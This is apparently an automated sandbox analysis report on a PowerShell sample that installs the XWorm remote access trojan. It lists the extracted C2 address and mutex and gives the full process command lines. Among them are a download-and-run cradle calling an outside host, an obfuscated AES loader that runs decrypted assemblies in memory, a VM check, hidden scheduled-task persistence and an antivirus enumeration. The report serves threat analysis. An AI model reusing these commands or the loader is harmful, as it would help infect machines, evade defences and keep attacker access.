Resubmissions

22/04/2026, 18:06

260422-wpzz5shx4s10

22/04/2026, 12:02

260422-n7f1zsay718

22/04/2026, 10:36

260422-mnpy4sds2k10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/04/2026, 10:36

General

  • Target
    test.ps1
  • Size 211B
  • Sample260422-mnpy4sds2k
  • SHA256 ce5767c3672d7f235fdfc357649d4b3e148a5568cbb7905f54c0e2ad0723f1b9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • XWorm V6.5 by c3lestial.fun

C2
  • 185.242.3.160:25565

Mutex
  • Sb9o751biNXpevGH

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Badlisted process makes network request 15 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\test.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -WindowStyle Hidden -c iwr https://zvdffdvvdfz.cc/da.ps1 -out C:\Users\Admin\AppData\Local\Temp\\dl.ps1; & C:\Users\Admin\AppData\Local\Temp\\dl.ps1
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WD.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoLogo -NoProfile -Command "if((Get-CimInstance Win32_VideoController | Where-Object {$_.Name -like '*Microsoft Remote Display Adapter*'}) -or ([math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1GB) -lt 3)){exit 1}"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          \Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -ep bypass -command $gZWkI=''; $YlTst=''; $IFmOm=''; $fTIEW=''; $BbtvD=''; function XapNLftP($param_var){$aes_var=[System.Security.Cryptography.SymmetricAlgorithm]::Create('AES');$aes_var.Mode=1;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$magic=([char[]](70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)-join'');$aes_var.Key=[Convert]::$magic('JKyYjo8q3V7cdH/SWnwhc4cQgIt9lFtZsS9HycadCNo=');$aes_var.IV=[Convert]::$magic('DSSPlT0DQiQ5nqD/jho01Q==');$decryptor_var=$aes_var.CreateDecryptor();$return_var=$decryptor_var.TransformFinalBlock($param_var,0,$param_var.Length);$decryptor_var.Dispose();$aes_var.Dispose();$return_var;}function FxkubKmf($param_var,$param2_var){$magic2=([char[]](73,110,118,111,107,101)-join'');$sWaLGGEytX=[System.Reflection.Assembly]::Load([byte[]]$param_var);$ByXNdFqfpm=$sWaLGGEytX.EntryPoint;$ByXNdFqfpm.$magic2($null,$param2_var);}$laAHfGIxFy='C:\Users\Admin\AppData\Local\Temp\WD.bat';$host.UI.RawUI.WindowTitle=$laAHfGIxFy;$SmjnGbODRH=(Get-Content $laAHfGIxFy -Raw)-split[Environment]::NewLine;foreach($AuLlSUnYKG in $SmjnGbODRH){if($AuLlSUnYKG.StartsWith(':: ')){$lrHLGiesLb=$AuLlSUnYKG.Substring(3);break;}}$payloads_var=$lrHLGiesLb-split'\\';$magic=([char[]](70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)-join'');$payload1_var=XapNLftP([Convert]::$magic($payloads_var[0]));FxkubKmf $payload1_var $null;$payload2_var=XapNLftP([Convert]::$magic($payloads_var[1]));FxkubKmf $payload2_var (,[string[]](''));
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2004
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command " $Action = New-ScheduledTaskAction -Execute 'conhost.exe' -Argument '--headless " powershell -NoProfile -WindowStyle Hidden -c \"iex([System.Environment]::GetEnvironmentVariable(''FZJX''))\""'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0; Register-ScheduledTask -TaskName 'MiscrosoftUpdater' -Action $Action -Trigger $Trigger -Settings $Settings -RunLevel Highest -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3508
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -w hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct | Select-Object -ExpandProperty displayName"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2356

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 37ba49120bfc0af93b9493213cbc8dab93a74b6819e5b542057dee047f43917a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8bfb5fab88fe830d8afccad0f21429872152c99db9558fbae836585cf35e18ab
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 104B
        • SHA256 6129aa5d757a22ba687a7b38cace27b21017fcb6b45e246d1377794f1298acb5
        • MD5 SHA1 SHA512 TLSH

        WD.bat

        • Path C:\Users\Admin\AppData\Local\Temp\WD.bat
        • Size 11.4MB
        • SHA256 6e778530b95b0b73519f1139836b23b89d80ca9012bd7f11faf0124d2a5d6446
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_shbgbqc5.30o.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shbgbqc5.30o.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1740-0-0x00000190184F0000-0x0000019018500000-memory.dmp

        memory/1740-7-0x00000190184C0000-0x00000190184E2000-memory.dmp

        memory/1740-12-0x0000019016B90000-0x0000019016B9C000-memory.dmp

        memory/1740-1-0x00000190184F0000-0x0000019018500000-memory.dmp

        memory/2004-55-0x000002197E640000-0x000002197EA84000-memory.dmp

        memory/2004-54-0x000002197E0E0000-0x000002197E4AC000-memory.dmp

        memory/2004-77-0x000002197D9F0000-0x000002197D9FC000-memory.dmp

        memory/2004-75-0x0000021940000000-0x000002194000E000-memory.dmp

        memory/2304-42-0x000001F5DFF60000-0x000001F5DFF84000-memory.dmp

        memory/2304-44-0x000001F5C7B50000-0x000001F5C7B5C000-memory.dmp

        memory/2304-41-0x000001F5DFF60000-0x000001F5DFF8A000-memory.dmp

        memory/2356-71-0x0000028424410000-0x000002842441C000-memory.dmp

        memory/3508-74-0x000002C87ACF0000-0x000002C87ACFC000-memory.dmp

        memory/4648-28-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

        memory/4648-30-0x0000018C697C0000-0x0000018C697CC000-memory.dmp

        memory/4648-16-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

        memory/4648-17-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

        memory/4648-29-0x0000018C6B710000-0x0000018C6B720000-memory.dmp